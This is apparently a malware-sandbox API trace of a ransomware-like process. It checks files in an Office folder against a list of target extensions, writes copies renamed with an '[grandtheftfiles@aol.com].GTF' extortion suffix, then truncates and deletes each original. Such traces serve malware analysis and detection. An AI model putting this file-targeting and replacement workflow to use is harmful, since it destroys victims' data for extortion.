	[0077.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString=".xls") returned 4
	[0077.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString=".xlsx") returned 5
	[0077.893] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.893] lstrlenW (lpString=".ppt") returned 4
	[0077.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".zip") returned 4
	[0077.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.893] lstrlenW (lpString=".rar") returned 4
	[0077.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString=".bz2") returned 4
	[0077.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString=".7z") returned 3
	[0077.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".dbf") returned 4
	[0077.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".1cd") returned 4
	[0077.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0077.893] lstrlenW (lpString=".jpg") returned 4
	[0077.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.894] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.894] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53
	[0077.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.894] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3375) returned 1
	[0077.894] CloseHandle (hObject=0x340) returned 1
	[0077.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.894] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.894] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.895] GetLastError () returned 0x0
	[0077.895] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xd2f, lpOverlapped=0x0) returned 1
	[0077.975] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xd30, lpOverlapped=0x0) returned 1
	[0077.976] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.976] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.976] SetEndOfFile (hFile=0x33c) returned 1
	[0077.976] CloseHandle (hObject=0x33c) returned 1
	[0077.977] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.977] SetEndOfFile (hFile=0x340) returned 1
	[0077.978] CloseHandle (hObject=0x340) returned 1
	[0077.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.978] lstrlenW (lpString=".doc") returned 4
	[0077.978] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.978] lstrlenW (lpString=".docx") returned 5
	[0077.979] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.979] lstrlenW (lpString=".pdf") returned 4
	[0077.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".xls") returned 4
	[0077.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".xlsx") returned 5
	[0077.979] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.979] lstrlenW (lpString=".ppt") returned 4
	[0077.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString=".zip") returned 4
	[0077.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.979] lstrlenW (lpString=".rar") returned 4
	[0077.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".bz2") returned 4
	[0077.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".7z") returned 3
	[0077.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString=".dbf") returned 4
	[0077.979] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString=".1cd") returned 4
	[0077.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString=".jpg") returned 4
	[0077.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.979] lstrlenW (lpString=".doc") returned 4
	[0077.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".docx") returned 5
	[0077.979] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.979] lstrlenW (lpString=".pdf") returned 4
	[0077.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.979] lstrlenW (lpString=".xls") returned 4
	[0077.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString=".xlsx") returned 5
	[0077.980] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.980] lstrlenW (lpString=".ppt") returned 4
	[0077.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.980] lstrlenW (lpString=".zip") returned 4
	[0077.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.980] lstrlenW (lpString=".rar") returned 4
	[0077.980] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString=".bz2") returned 4
	[0077.980] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString=".7z") returned 3
	[0077.980] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.980] lstrlenW (lpString=".dbf") returned 4
	[0077.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.980] lstrlenW (lpString=".1cd") returned 4
	[0077.980] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0077.980] lstrlenW (lpString=".jpg") returned 4
	[0077.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.980] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.980] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25
	[0077.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.981] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9831) returned 1
	[0077.981] CloseHandle (hObject=0x340) returned 1
	[0077.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220
	[0077.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.981] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.981] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.981] GetLastError () returned 0x0
	[0077.981] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2667, lpOverlapped=0x0) returned 1
	[0078.000] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2670, lpOverlapped=0x0) returned 1
	[0078.002] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.002] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x106, lpOverlapped=0x0) returned 1
	[0078.002] SetEndOfFile (hFile=0x33c) returned 1
	[0078.002] CloseHandle (hObject=0x33c) returned 1
	[0078.003] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.003] SetEndOfFile (hFile=0x340) returned 1
	[0078.004] CloseHandle (hObject=0x340) returned 1
	[0078.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1
	[0078.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.004] lstrlenW (lpString=".doc") returned 4
	[0078.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.004] lstrlenW (lpString=".docx") returned 5
	[0078.004] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0078.004] lstrlenW (lpString=".pdf") returned 4
	[0078.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".xls") returned 4
	[0078.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".xlsx") returned 5
	[0078.005] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0078.005] lstrlenW (lpString=".ppt") returned 4
	[0078.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString=".zip") returned 4
	[0078.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.005] lstrlenW (lpString=".rar") returned 4
	[0078.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".bz2") returned 4
	[0078.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".7z") returned 3
	[0078.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString=".dbf") returned 4
	[0078.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString=".1cd") returned 4
	[0078.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString=".jpg") returned 4
	[0078.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.005] lstrlenW (lpString=".doc") returned 4
	[0078.005] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".docx") returned 5
	[0078.005] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0078.005] lstrlenW (lpString=".pdf") returned 4
	[0078.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.005] lstrlenW (lpString=".xls") returned 4
	[0078.006] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString=".xlsx") returned 5
	[0078.006] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0078.006] lstrlenW (lpString=".ppt") returned 4
	[0078.006] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.006] lstrlenW (lpString=".zip") returned 4
	[0078.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.006] lstrlenW (lpString=".rar") returned 4
	[0078.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString=".bz2") returned 4
	[0078.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString=".7z") returned 3
	[0078.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.006] lstrlenW (lpString=".dbf") returned 4
	[0078.006] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.006] lstrlenW (lpString=".1cd") returned 4
	[0078.006] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0078.006] lstrlenW (lpString=".jpg") returned 4
	[0078.006] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.006] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0078.006] lstrlenW (lpString="AuthoredExtensions.xml") returned 22
	[0078.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.007] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=373) returned 1
	[0078.007] CloseHandle (hObject=0x340) returned 1
	[0078.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220
	[0078.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.007] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.007] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.007] GetLastError () returned 0x0
	[0078.007] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x175, lpOverlapped=0x0) returned 1
	[0078.008] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x180, lpOverlapped=0x0) returned 1
	[0078.009] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.009] WriteFile (in: hFile=0x33c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x100, lpOverlapped=0x0) returned 1
	[0078.021] SetEndOfFile (hFile=0x33c) returned 1
	[0078.021] CloseHandle (hObject=0x33c) returned 1
	[0078.025] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.025] SetEndOfFile (hFile=0x340) returned 1
	[0078.025] CloseHandle (hObject=0x340) returned 1
	[0078.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1
	[0078.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.026] lstrlenW (lpString=".doc") returned 4
	[0078.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.026] lstrlenW (lpString=".docx") returned 5
	[0078.026] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0078.026] lstrlenW (lpString=".pdf") returned 4
	[0078.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.026] lstrlenW (lpString=".xls") returned 4
	[0078.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".xlsx") returned 5
	[0078.027] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0078.027] lstrlenW (lpString=".ppt") returned 4
	[0078.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.027] lstrlenW (lpString=".zip") returned 4
	[0078.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.027] lstrlenW (lpString=".rar") returned 4
	[0078.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".bz2") returned 4
	[0078.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString=".7z") returned 3
	[0078.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.027] lstrlenW (lpString=".dbf") returned 4
	[0078.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.027] lstrlenW (lpString=".1cd") returned 4
	[0078.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0078.027] lstrlenW (lpString=".jpg") returned 4
	[0078.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
